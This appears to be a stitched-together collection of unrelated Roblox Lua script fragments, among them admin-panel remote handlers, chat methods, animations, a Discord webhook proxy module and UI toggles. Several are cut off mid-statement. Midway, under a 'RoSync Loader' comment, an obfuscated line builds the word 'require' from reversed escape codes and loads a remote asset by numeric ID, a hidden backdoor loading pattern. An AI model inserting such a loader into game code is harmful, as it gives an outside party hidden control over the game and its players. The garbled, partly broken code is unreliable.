main:GetModule("cf"):FindValue(main.validSettings, settingName) then if settingName == "Prefix" then if #newValue ~= 1 then return "Prefix can only be 1 character!" elseif newValue == main.settings.UniversalPrefix then return "Cannot set to the UniversalPrefix!" end elseif string.sub(settingName, -7) == "SoundId" and not main:GetModule("cf"):CheckIfValidSound(newValue) then return "Invalid sound!" elseif tonumber(settingValue) and not tonumber(newValue) then return "Invalid number!" end main:GetModule("PlayerData"):ChangeStat(player, settingName, newValue) return "Success" end --------------------------------------------- elseif rfunction.Name == "RestoreDefaultSettings" then local success = "Success" for i,v in pairs(main.validSettings) do local originalSetting = main.settings[v] if originalSetting ~= nil then main:GetModule("PlayerData"):ChangeStat(player, v, originalSetting) else success = "Error" end end return success --------------------------------------------- elseif rfunction.Name == "RetrieveServerRanks" then local serverRankInfo = {} for i, plr in pairs(main.players:GetChildren()) do local pdata = main.pd[plr] if pdata and pdata.Rank > 0 then local rankType = main.rankTypes[main:GetModule("cf"):GetRankType(plr)] table.insert(serverRankInfo, {Player = plr, RankId = pdata.Rank, RankType = rankType}) end end return serverRankInfo --------------------------------------------- elseif rfunction.Name == "RetrieveBanland" then local banlandInfo = {{},{}} local pdata = main.pd[player] if pdata and pdata.Rank >= main.settings.ViewBanland then local allServerBans = {} local allServerBanRecordsToMerge = {main.sd.Banland.Records, main.settingsBanRecords} for _, records in pairs(allServerBanRecordsToMerge) do for i, record in pairs(records) do table.insert(allServerBans, record) end end local toScan = {main.serverBans, allServerBans} local timeNow = os.time() local usersAdded = {} for section, records in pairs(toScan) do for i, record in pairs(records) do local banTime = record.BanTime if (not tonumber(banTime) or timeNow < (banTime-30)) and not usersAdded[record.UserId] then usersAdded[record.UserId] = true table.insert(banlandInfo[section], record) end end end end return banlandInfo --------------------------------------------- elseif rfunction.Name == "RetrieveRanksInfo" then local permRanksInfo = {} local ranks = {} local permissions = {} local pdata = main.pd[player] if pdata and main.sd.PermRanks then --PermRanksInfo if pdata.Rank >= main.settings.RankRequiredToViewRankType.specificusers or 5 then permRanksInfo = main.sd.PermRanks.Records end --Ranks for i,v in pairs(main.settings.Ranks) do local rankId = v[1] if pdata.Rank >= (main.settings.RankRequiredToViewRank[rankId] or 0) then table.insert(ranks, v) end end --Permissions for pName, pDetails in pairs(main.permissions) do pName = string.lower(pName) local pRank = main.settings.RankRequiredToViewRankType[pName] if pdata.Rank >= (pRank or 0) then permissions[pName] = pDetails end end end return { ["PermRanks"] = permRanksInfo; ["Ranks"] = ranks; ["Permissions"] = permissions; } --------------------------------------------- elseif rfunction.Name == "ReplyToPrivateMessage" then local targetPlr = args[1] local targetPlrPerms = main.permissionToReplyToPrivateMessage[targetPlr] if targetPlrPerms and targetPlrPerms[player] then main.permissionToReplyToPrivateMessage[targetPlr][player] = nil local replyMessage = main:GetModule("cf"):FilterString(args[2], player, targetPlr) main:GetModule("cf"):PrivateMessage(player, targetPlr, replyMessage) end --------------------------------------------- elseif rfunction.Name == "RemovePermRank" then if pdata.Rank >= main.settings.RankRequiredToViewRankType.specificusers and pdata.Rank >= main.commandRanks.permrank then local userId = args[1] local userName = args[2] local record = main.sd.PermRanks.Records[main:GetModule("cf"):FindUserIdInRecord(main.sd.PermRanks.Records, userId)] if record then record.RemoveRank = true main:GetModule("SystemData"):InsertStat("PermRanks", "RecordsToModify", record) main:GetModule("cf"):FormatAndFireNotice(player, "RemovePermRank", userName) end end --------------------------------------------- elseif rfunction.Name == "RetrieveAlertData" then if pdata.Rank >= main.commandRanks.globalalert then local data = { ["Title"] = main:GetModule("cf"):FilterBroadcast(args.Title or "", player), ["Message"] = main:GetModule("cf"):FilterBroadcast(args.Message or "", player), ["Server"] = args.Server, ["PlayerArg"] = args.PlayerArg } alertData[player] = data return data end --------------------------------------------- elseif rfunction.Name == "ExecuteAlert" then local data = alertData[player] if data then local successMessage = "Alert successful!" local server = data.Server -- << GLOBAL VOTE >> if server == "All" then successMessage = "Global "..successMessage main.messagingService:PublishAsync(topics.GlobalAlert, data) -- << SERVER VOTE >> else local targetPlayers = main:GetModule("Qualifiers"):ParseQualifier(data.PlayerArg, player) for plr,_ in pairs(targetPlayers) do main.signals.CreateAlert:FireClient(plr, {data.Title, data.Message}) end end main.signals.Notice:FireClient(player, {main.hdAdminCoreName, successMessage}) alertData[player] = nil return true end main:GetModule("cf"):FormatAndFireError(player, "AlertFail") --------------------------------------------- elseif rfunction.Name == "RetrievePollData" then if pdata.Rank >= main.commandRanks.vote then pollCount = pollCount + 1 --local server = (type(args.Server) == "boolean" and args.Server) or true local voteTime = tonumber(args.VoteTime) if not voteTime then voteTime = 20 elseif voteTime > 60 then voteTime = 60 elseif voteTime < 1 then voteTime = 1 end local question = main:GetModule("cf"):FilterBroadcast(args.Question or "", player) local answers = {} for i, answer in pairs(args.Answers) do if i > 10 then break end table.insert(answers, main:GetModule("cf"):FilterBroadcast(answer or "", player)) end if #answers < 1 then return "Must have at least 1 answer!" end local senderId = player.UserId local senderName = player.Name local data = { ["VoteTime"] = voteTime, ["Question"] = question, ["Answers"] = answers, ["Server"] = args.Server, ["ShowResultsTo"] = args.ShowResultsTo, ["PlayerArg"] = args.PlayerArg, ["SenderName"] = player.Name, ["PollId"] = pollCount } pollData[player] = data return data end --------------------------------------------- elseif rfunction.Name == "ExecutePoll" then local data = pollData[player] if data then local successMessage = "Poll successful! The results will appear shortly." local server = data.Server -- << GLOBAL VOTE >> if server == "All" then if pdata.Rank >= main.commandRanks.globalvote then spawn(function() successMessage = "Global "..successMessage --Setup topic and SubscribeAsync local scores = {} for i = 1, #data.Answers+1 do table.insert(scores, 0) end local uniquePollTopic = "Poll"..data.PollId data.UniquePollTopic = uniquePollTopic local serversResponded = 0 local subFunc = main.messagingService:SubscribeAsync(uniquePollTopic, function(message) local serverScores = message.Data for i,v in pairs(serverScores) do scores[i] = scores[i] + v end serversResponded = serversResponded + 1 end) --Begin polls for all servers main.messagingService:PublishAsync(topics.BeginPoll, data) local totalServers = main:GetModule("cf"):GetAmountOfServers() for i = 1, data.VoteTime+2 do wait(1) if serversResponded >= totalServers then break end end subFunc:Disconnect() --Calculate results local highestScore = 0 for i,v in pairs(scores) do if v > highestScore then highestScore = v end end data.Results = {} for i = 1, #data.Answers+1 do local answer = data.Answers[i] local answerVotes = scores[i] table.insert(data.Results, { Answer = answer or "Did Not Vote"; Votes = answerVotes; Percentage = answerVotes/highestScore; } ) end --Display results if data.ShowResultsTo == "You" then main:GetModule("cf"):DisplayPollResults(player, data) else main.messagingService:PublishAsync(topics.DisplayPollResultsToServer, data) end end) end -- << SERVER VOTE >> elseif pdata.Rank >= main.commandRanks.vote then spawn(function() --Get participants local targetPlayers = main:GetModule("Qualifiers"):ParseQualifier(data.PlayerArg, player) local participants = {} for plr,_ in pairs(targetPlayers) do table.insert(participants, plr) end --Setup poll and retrieve data local newData = main:GetModule("cf"):BeginPoll(data, participants) --Display results local showResultsToTable = participants if data.ShowResultsTo == "You" then showResultsToTable = {player} end for i, plr in pairs(showResultsToTable) do main:GetModule("cf"):DisplayPollResults(plr, data) end end) else return false end pollData[player] = nil main.signals.Notice:FireClient(player, {main.hdAdminCoreName, successMessage}) return true end main:GetModule("cf"):FormatAndFireError(player, "PollFail") --------------------------------------------- elseif rfunction.Name == "RetrieveBroadcastData" then if pdata.Rank >= main.commandRanks.globalannouncement then local title = args.Title local displayFrom = args.DisplayFrom local color = args.Color local message = args.Message if title ~= "Global Announcement" then title = main:GetModule("cf"):FilterBroadcast(title, player) end if type(displayFrom) ~= "boolean" then displayFrom = true end color = main:GetModule("cf"):GetColorFromString(color:match("%a+")) if not color then color = Color3.fromRGB(255,255,255) end color = {color.r, color.g, color.b} message = main:GetModule("cf"):FilterBroadcast(message, player) local senderId = player.UserId local senderName = player.Name local data = { ["Title"] = title, ["DisplayFrom"] = displayFrom, ["Color"] = color, ["Message"] = message, ["SenderId"] = player.UserId, ["SenderName"] = player.Name } broadcastData[player] = data return data end --RetrievePollData --------------------------------------------- elseif rfunction.Name == "ExecuteBroadcast" then if pdata.Rank >= main.commandRanks.globalannouncement then local data = broadcastData[player] if data then main:GetModule("SystemData"):ChangeStat("Broadcast", "BroadcastData", data) main:GetModule("SystemData"):ChangeStat("Broadcast", "BroadcastTime", os.time()) main:GetModule("SystemData"):ChangeStat("Broadcast", "BroadcastId", math.random(1,10000000)) main:GetModule("cf"):FormatAndFireNotice(player, "BroadcastSuccessful") broadcastData[player] = nil return true end end main:GetModule("cf"):FormatAndFireNotice(player, "BroadcastFailed") --------------------------------------------- elseif rfunction.Name == "GetPing" then return args --------------------------------------------- end end end --Remote events elseif object:IsA("RemoteEvent") then local revent = object revent.OnServerEvent:Connect(function(player, commandName, args) local pdata = main.pd[player] if pdata and checkRemoteLimit(player, object) then --------------------------------------------- if revent.Name == "ReplicateEffect" then local command = main.commands[string.lower(commandName)] if command and command.ReplicationEffect then for i, plr in pairs(main.players:GetChildren()) do local plrHead = main:GetModule("cf"):GetHead(plr) if plr ~= player and plrHead and player:DistanceFromCharacter(plrHead.Position) <= 100 then main.signals.ReplicationEffectClientCommand:FireClient(plr, {commandName, player, args}) end end end end --------------------------------------------- end end) end end
-- Function to make a player explode
local function explodePlayer(player) if player.Character then local humanoid = player.Character:FindFirstChild("Humanoid") if humanoid then -- Listen for the jump event local connection connection = humanoid:GetPropertyChangedSignal("Jump"):Connect(function() if humanoid:GetState() == Enum.HumanoidStateType.Seated then return end -- Remove the connection to prevent multiple explosions connection:Disconnect() -- Create an explosion at the player's position local explosion = Instance.new("Explosion") explosion.Position = humanoid.Parent.HumanoidRootPart.Position explosion.Parent = game.Workspace -- Respawn the player (optional) wait(5) -- You can adjust the respawn delay as needed game:GetService("StarterPlayer"):RemovePlayer(player) end) end end end
--////////////////////////////// Methods --//////////////////////////////////////
local methods = {} methods.__index = methods function methods:SayMessage(message, channelName, extraData) if (self.ChatService:InternalDoProcessCommands(self.Name, message, channelName)) then return end if (not channelName) then return end local channel = self.Channels[channelName:lower()] if (not channel) then error("Speaker is not in channel \"" .. channelName .. "\"") end local messageObj = channel:InternalPostMessage(self, message, extraData) if (messageObj) then local success, err = pcall(function() self.eSaidMessage:Fire(messageObj, channelName) end) if not success and err then print("Error saying message: " ..err) end end return messageObj end function methods:JoinChannel(channelName) if (self.Channels[channelName:lower()]) then warn("Speaker is already in channel \"" .. channelName .. "\"") return end local channel = self.ChatService:GetChannel(channelName) if (not channel) then error("Channel \"" .. channelName .. "\" does not exist!") end self.Channels[channelName:lower()] = channel channel:InternalAddSpeaker(self) local success, err = pcall(function() self.eChannelJoined:Fire(channel.Name, channel:GetWelcomeMessageForSpeaker(self)) end) if not success and err then print("Error joining channel: " ..err) end end function methods:LeaveChannel(channelName) if (not self.Channels[channelName:lower()]) then warn("Speaker is not in channel \"" .. channelName .. "\"") return end local channel = self.Channels[channelName:lower()] self.Channels[channelName:lower()] = nil channel:InternalRemoveSpeaker(self) local success, err = pcall(function() self.eChannelLeft:Fire(channel.Name) end) if not success and err then print("Error leaving channel: " ..err) end end function methods:IsInChannel(channelName) return (self.Channels[channelName:lower()] ~= nil) end function methods:GetChannelList() local list = {} for i, channel in pairs(self.Channels) do table.insert(list, channel.Name) end return list end function methods:SendMessage(message, channelName, fromSpeaker, extraData) local channel = self.Channels[channelName:lower()] if (channel) then channel:SendMessageToSpeaker(message, self.Name, fromSpeaker, extraData) else warn(string.format("Speaker '%s' is not in channel '%s' and cannot receive a message in it.", self.Name, channelName)) end end function methods:SendSystemMessage(message, channelName, extraData) local channel = self.Channels[channelName:lower()] if (channel) then channel:SendSystemMessageToSpeaker(message, self.Name, extraData) else warn(string.format("Speaker '%s' is not in channel '%s' and cannot receive a system message in it.", self.Name, channelName)) end end function methods:GetPlayer() return self.PlayerObj end function methods:SetExtraData(key, value) self.ExtraData[key] = value self.eExtraDataUpdated:Fire(key, value) end function methods:GetExtraData(key) return self.ExtraData[key] end function methods:SetMainChannel(channelName) local success, err = pcall(function() self.eMainChannelSet:Fire(channelName) end) if not success and err then print("Error setting main channel: " ..err) end end
--[[ While the humanoid is running, update isMoving, which is used to generate interest points ]]
local function connectInterestToCharacter(character) local humanoid = character:FindFirstChild("Humanoid") connections.running = humanoid.Running:Connect( function(speed) if speed > 0.1 then isMoving = true else isMoving = false end end ) end
--Loop to autosave data every 2 minutes
spawn(function() while wait(121) do --Loop every 2 minutes and save every player's data for _,Player in pairs(game.Players:GetPlayers()) do beforeSave(Player) end end end)
-- IGNORE THIS UNLESS YOU KNOW WHAT YOU ARE DOING. -- YEAH, I KNOW THIS IS MESSY. MY APOLOGIES.
if ContentAMOUNT == 10 then Content.Content1.Visible = true Content.Content2.Visible = true Content.Content3.Visible = true Content.Content4.Visible = true Content.Content5.Visible = true Content.Content6.Visible = true Content.Content7.Visible = true Content.Content8.Visible = true Content.Content9.Visible = true Content.Content10.Visible = true else end if ContentAMOUNT == 9 then Content.Content1.Visible = true Content.Content2.Visible = true Content.Content3.Visible = true Content.Content4.Visible = true Content.Content5.Visible = true Content.Content6.Visible = true Content.Content7.Visible = true Content.Content8.Visible = true Content.Content9.Visible = true Content.Content10.Visible = false else end if ContentAMOUNT == 8 then Content.Content1.Visible = true Content.Content2.Visible = true Content.Content3.Visible = true Content.Content4.Visible = true Content.Content5.Visible = true Content.Content6.Visible = true Content.Content7.Visible = true Content.Content8.Visible = true Content.Content9.Visible = false Content.Content10.Visible = false else end if ContentAMOUNT == 7 then Content.Content1.Visible = true Content.Content2.Visible = true Content.Content3.Visible = true Content.Content4.Visible = true Content.Content5.Visible = true Content.Content6.Visible = true Content.Content7.Visible = true Content.Content8.Visible = false Content.Content9.Visible = false Content.Content10.Visible = false else end if ContentAMOUNT == 6 then Content.Content1.Visible = true Content.Content2.Visible = true Content.Content3.Visible = true Content.Content4.Visible = true Content.Content5.Visible = true Content.Content6.Visible = true Content.Content7.Visible = false Content.Content8.Visible = false Content.Content9.Visible = false Content.Content10.Visible = false else end if ContentAMOUNT == 5 then Content.Content1.Visible = true Content.Content2.Visible = true Content.Content3.Visible = true Content.Content4.Visible = true Content.Content5.Visible = true Content.Content6.Visible = false Content.Content7.Visible = false Content.Content8.Visible = false Content.Content9.Visible = false Content.Content10.Visible = false else end if ContentAMOUNT == 4 then Content.Content1.Visible = true Content.Content2.Visible = true Content.Content3.Visible = true Content.Content4.Visible = true Content.Content5.Visible = false Content.Content6.Visible = false Content.Content7.Visible = false Content.Content8.Visible = false Content.Content9.Visible = false Content.Content10.Visible = false else end if ContentAMOUNT == 3 then Content.Content1.Visible = true Content.Content2.Visible = true Content.Content3.Visible = true Content.Content4.Visible = false Content.Content5.Visible = false Content.Content6.Visible = false Content.Content7.Visible = false Content.Content8.Visible = false Content.Content9.Visible = false Content.Content10.Visible = false else end if ContentAMOUNT == 2 then Content.Content1.Visible = true Content.Content2.Visible = true Content.Content3.Visible = false Content.Content4.Visible = false Content.Content5.Visible = false Content.Content6.Visible = false Content.Content7.Visible = false Content.Content8.Visible = false Content.Content9.Visible = false Content.Content10.Visible = false else end if ContentAMOUNT == 1 then Content.Content1.Visible = true Content.Content2.Visible = false Content.Content4.Visible = false Content.Content5.Visible = false Content.Content6.Visible = false Content.Content7.Visible = false Content.Content8.Visible = false Content.Content9.Visible = false Content.Content10.Visible = false else end
-- GAMEPASSES
Gamepasses = { [3000 ] = "VIP"; };
---------------------------------------------------------------
function onChildAdded(child) if child.Name == "SeatWeld" then local human = child.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then print("Human IN") seat.SirenControl.Control.CarName.Value = human.Parent.Name.."'s Car" seat.Parent.Name = human.Parent.Name.."'s Car" s.Parent.SirenControl:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui s.Parent.RDetector:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui seat.Start:Play() wait(1) seat.Start:Stop() seat.Engine:Play() end end end function onChildRemoved(child) if (child.Name == "SeatWeld") then local human = child.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then print("Human OUT") seat.Parent.Name = "Empty Car" seat.SirenControl.Control.CarName.Value = "Empty Car" game.Players:findFirstChild(human.Parent.Name).PlayerGui.SirenControl:remove() game.Players:findFirstChild(human.Parent.Name).PlayerGui.RDetector:remove() seat.Engine:Stop() end end end script.Parent.ChildAdded:connect(onChildAdded) script.Parent.ChildRemoved:connect(onChildRemoved)
-- This module was created by LuaScape (Roblox: Snawrk) -- Proxy Created By LewisTehMinerz -- DO NOT Edit the code below unless you know what you're doing! ---------------------------------------------------------------------------------------
local webhookService = {} local https = game:GetService("HttpService") function webhookService:createMessage(url, message : string) local data = { ["content"] = message } local finalData = https:JSONEncode(data) local finalUrl = string.gsub(url, "discord.com", "webhook.lewisakura.moe") local finalBackupUrl = string.gsub(url, "discord.com", "webhook.newstargeted.com") local good, bad = pcall(function() https:PostAsync(finalUrl, finalData) end) if good then print("Webhook Request Success!") else print("Webhook Request Failed " .. bad .. " Trying backup URL") https:PostAsync(finalBackupUrl, finalData) print("Attempted request with backup URL, if webhook does not send then both URLS are down or you have a bad request.") end end function webhookService:createEmbed(url, title : string, message :string , fields, image) local data = { ['content'] = "", ['embeds'] = {{ ["thumbnail"] = {["url"] = image}, ['title'] = "**"..title.."**", ['description'] = message, ['type'] = "rich", ["color"] = tonumber(0xffffff), ['fields'] = fields }, }, } local finalData = https:JSONEncode(data) local finalUrl = string.gsub(url, "discord.com", "webhook.lewisakura.moe") local finalBackupUrl = string.gsub(url, "discord.com", "webhook.newstargeted.com") local good, bad = pcall(function() https:PostAsync(finalUrl, finalData) end) if good then print("Webhook Request Success!") else print("Webhook Request Failed " .. bad .. " Trying backup URL") https:PostAsync(finalBackupUrl, finalData) print("Attempted request with backup URL, if webhook does not send then both URLS are down or you have a bad request.") end end function webhookService:createAuthorEmbed(url, authorName : string, iconurl, description : string, fields) local data = { ["embeds"] = {{ ["author"] = { ["name"] = authorName, ["icon_url"] = iconurl, }, ["description"] = description, ["color"] = tonumber(0xFFFAFA), ["fields"] = fields }}, } local finalData = https:JSONEncode(data) local finalUrl = string.gsub(url, "discord.com", "webhook.lewisakura.moe") local finalBackupUrl = string.gsub(url, "discord.com", "webhook.newstargeted.com") local good, bad = pcall(function() https:PostAsync(finalUrl, finalData) end) if good then print("Webhook Request Success!") else print("Webhook Request Failed " .. bad .. " Trying backup URL") https:PostAsync(finalBackupUrl, finalData) print("Attempted request with backup URL, if webhook does not send then both URLS are down or you have a bad request.") end end return webhookService
--[[ Last synced 10/10/2022 07:39 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
-- Errors that are thrown while unmounting (or after in the case of passive effects) -- should bypass any error boundaries that are also unmounting (or have unmounted) -- and be handled by the nearest still-mounted boundary. -- If there are no still-mounted boundaries, the errors should be rethrown.
exports.skipUnmountedBoundaries = true
---[[ Command/Filter Priorities ]]
module.VeryLowPriority = -5 module.LowPriority = 0 module.StandardPriority = 10 module.HighPriority = 20 module.VeryHighPriority = 25 return module
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onRunning(speed) if speed>0 then playAnimation("walk", 0.1, Humanoid) pose = "Running" else playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / 12.0) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.ClassName == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.ClassName == "StringValue" then return c end end return nil end function animateTool() if toolAnim == "None" then playToolAnimation("toolnone", toolTransitionTime, Humanoid) return end if toolAnim == "Slash" then playToolAnimation("toolslash", 0, Humanoid) return end if toolAnim == "Lunge" then playToolAnimation("toollunge", 0, Humanoid) return end end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then stopAllAnimations() moveSit() return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
-- External services
local tweenService = game:GetService("TweenService")
--[=[ @function removeKeys @within Dictionary @param dictionary {[K]: V} -- The dictionary to remove the keys from. @param keys ...K -- The keys to remove. @return {[K]: V} -- The dictionary without the given keys. Removes the given keys from the given dictionary. ```lua local dictionary = { hello = "world", cat = "meow", dog = "woof", unicorn = "rainbow" } local withoutCatDog = RemoveKeys(dictionary, "cat", "dog") -- { hello = "world", unicorn = "rainbow" } ``` ]=]
local function removeKeys<K, V>(dictionary: { [K]: V }, ...: K): { [K]: V } local result = copy(dictionary) for _, key in ipairs({ ... }) do result[key] = nil end return result end return removeKeys
-- find the character associated with a part if there is one.
local function FindCharacterAncestor(subject) if subject and subject ~= Workspace then local humanoid = subject:FindFirstChild('Humanoid') if humanoid then return subject, humanoid else return FindCharacterAncestor(subject.Parent) end end return nil end
--{{ Checks If script possible }}--
if game.Players.LocalPlayer:WaitForChild("Drift Points") then else script:Destroy() end
--// All global vars will be wiped/replaced except script
return function(data, env) if env then setfenv(1, env) end local playergui = service.PlayerGui local localplayer = service.Players.LocalPlayer local scr = client.UI.Prepare(script.Parent.Parent) local main = scr.Main local t1 = main.Title local t2 = main.Message local msg = data.Message local color = data.Color or Color3.fromRGB(255, 78, 78) local tweenInfo = TweenInfo.new(0.20)----service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end) local consoleOpenTween = service.TweenService:Create(main, tweenInfo, { Position = UDim2.new(0.11, 0, 0.35, 0); }) local consoleCloseTween = service.TweenService:Create(main, tweenInfo, { Position = UDim2.new(0.11, 0, 0, -200); }) local found = client.UI.Get("Output") if found then for i,v in pairs(found) do local p = v.Object if p and p.Parent then local consoleOpenTween1 = service.TweenService:Create(p.Main, tweenInfo, { Position = UDim2.new(0.11, 0, 0.35, p.Main.Position.Y.Offset+55); }) consoleOpenTween1:Play() end end end t2.TextColor3 = color main.BackgroundColor3 = color t2.Text = msg t2.Font = "Gotham" consoleOpenTween:Play() --t2.Position = UDim2.new(0, 0, 0.35, 0) gTable.Ready() wait(5) consoleCloseTween:Play() wait(2) gTable.Destroy() end
--[[ @class SoftShutdownTranslator ]]
local require = require(script.Parent.loader).load(script) return require("JSONTranslator").new("en", { shutdown = { lobby = { title = "Rebooting servers for update."; subtitle = "Teleporting back in a moment..."; }; restart = { title = "Rebooting servers for update."; subtitle = "Please wait..."; }; complete = { title = "Rebooting servers for update."; subtitle = "Update complete..."; }; }; })
-- ProductId 1218012019 for 1000 Cash
developerProductFunctions[Config.DeveloperProductIds["1000 Cash"]] = function(receipt, player) -- Logic/code for player buying 1000 Cash (may vary) local leaderstats = player:FindFirstChild("leaderstats") local cash = leaderstats and leaderstats:FindFirstChild("Cash") if cash then if Utilities:OwnsGamepass(player, gamepassID) then cash.Value += 2000 else cash.Value += 1000 end return true end end
--Tone2Switch
Ton2Swch.Changed:Connect(function() if Ton2Swch.Value == true then Ton2Swch.Parent.P1.Transparency = 1 Ton2Swch.Parent.P2.Transparency = 0 ClickSound:Play() Tone2Val.Test.Value = true else Ton2Swch.Parent.P1.Transparency = 0 Ton2Swch.Parent.P2.Transparency = 1 ClickSound:Play() Tone2Val.Test.Value = false end end) Ton1Swch.Parent.SelectionObjectBrick.ProximityPrompt.Triggered:Connect(function() if Ton1Swch.Value == true then Ton1Swch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Auto" Ton1Swch.Value = false else Ton1Swch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Test" Ton1Swch.Value = true end end) Ton2Swch.Parent.SelectionObjectBrick.ProximityPrompt.Triggered:Connect(function() if Ton2Swch.Value == true then Ton2Swch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Auto" Ton2Swch.Value = false else Ton2Swch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Test" Ton2Swch.Value = true end end) ModSwch.Parent.SelectionObjectBrick.ProximityPrompt.Triggered:Connect(function() if ModSwch.Value == true then ModSwch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Auto" ModSwch.Value = false else ModSwch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Test" ModSwch.Value = true end end) function Lock() if script.Parent.Locked.Value == true then ModSwch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = false Ton1Swch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = false Ton2Swch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = false else ModSwch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = true Ton1Swch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = true Ton2Swch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = true end end Lock() script.Parent.Locked.Changed:Connect(function() Lock() end)
-- Returns the ancestor that contains a Humanoid, if it exists
local function FindCharacterAncestor(subject) if subject and subject ~= Workspace then local humanoid = subject:FindFirstChild('Humanoid') if humanoid then return subject, humanoid else return FindCharacterAncestor(subject.Parent) end end return nil end local function OnExplosionHit(hitPart) if hitPart then local _, humanoid = FindCharacterAncestor(hitPart.Parent) if humanoid and humanoid.Health > 0 then local hitBindable = humanoid:FindFirstChild('Hit') if hitBindable then hitBindable:Invoke(0, CreatorTag) else print("Could not find BindableFunction 'Hit'") end end end end local function OnTouched(otherPart) if Rocket and otherPart then -- Fly through anything in the ignore list if ROCKET_IGNORE_LIST[string.lower(otherPart.Name)] then return end -- Fly through the creator local myPlayer = CreatorTag.Value if myPlayer and myPlayer.Character and myPlayer.Character:IsAncestorOf(otherPart) then return end -- Create the explosion local explosion = Instance.new('Explosion') explosion.BlastPressure = BLAST_PRESSURE explosion.BlastRadius = BLAST_RADIUS explosion.Position = Rocket.Position explosion.Hit:connect(OnExplosionHit) explosion.Parent = Workspace -- Start playing the boom sound local boomSound = Rocket:FindFirstChild('Boom') if boomSound then boomSound:Play() end -- NOTE: -- If we just destroyed the rocket at this point, the boom sound would be destroyed too, -- so instead we will hide the rocket, keep it in the same spot, and schedule it for deletion -- Stop playing the swoosh sound local swooshSound = Rocket:FindFirstChild('Swoosh') if swooshSound then swooshSound:Stop() end -- Put out the fire local fire = Rocket:FindFirstChild('Fire') if fire then fire:Destroy() end Rocket.Transparency = 1 Rocket.CanCollide = false Rocket.Anchored = true DebrisService:AddItem(Rocket, 3) -- Destroy the connection so this method won't be called again Connection:disconnect() end end
--[=[ Observables a given value object's value @param valueObject Instance @return Observable<T> ]=]
function RxValueBaseUtils.observeValue(valueObject) return RxInstanceUtils.observeProperty(valueObject, "Value") end return RxValueBaseUtils
--local l__BodyGyro__13 = v2.char:WaitForChild("HumanoidRootPart"):WaitForChild("BodyGyro");
local l__Waist__14 = v2.char:WaitForChild("UpperTorso"):WaitForChild("Waist"); local l__Neck__15 = v2.char:WaitForChild("Head"):WaitForChild("Neck"); local l__Root__16 = v2.char:WaitForChild("LowerTorso"):WaitForChild("Root"); local l__RightShoulder__17 = v2.char:WaitForChild("RightUpperArm"):WaitForChild("RightShoulder"); local l__LeftShoulder__18 = v2.char:WaitForChild("LeftUpperArm"):WaitForChild("LeftShoulder"); local l__RightUpperArm__19 = v2.char:WaitForChild("RightUpperArm"); local l__LeftUpperArm__20 = v2.char:WaitForChild("LeftUpperArm"); local l__Waist__21 = v2.char:WaitForChild("UpperTorso"):WaitForChild("Waist"); local l__Neck__22 = v2.char:WaitForChild("Head"):WaitForChild("Neck"); local l__Root__23 = v2.char:WaitForChild("LowerTorso"):WaitForChild("Root"); local l__RightShoulder__24 = v2.char:WaitForChild("RightUpperArm"):WaitForChild("RightShoulder"); local l__LeftShoulder__25 = v2.char:WaitForChild("LeftUpperArm"):WaitForChild("LeftShoulder"); local v26 = Vector3.new(0, 0, 1); local l__Animations__27 = v2.char:WaitForChild("Animations"); local v28 = Vector3.new(0, 0, 0); local v29 = tick(); local v30 = tick(); local v31 = tick(); local v32 = OverlapParams.new(); local v33 = { Crouch = v1.MainFrame:WaitForChild("MobileButtons"):WaitForChild("CrouchButton") }; v32.CollisionGroup = "Player"; l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.FallingDown, false); l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding, false); l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.Seated, false); l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.Ragdoll, false); l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.Jumping, false); l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.Climbing, false); local v34 = { Walk = {} }; for v35, v36 in 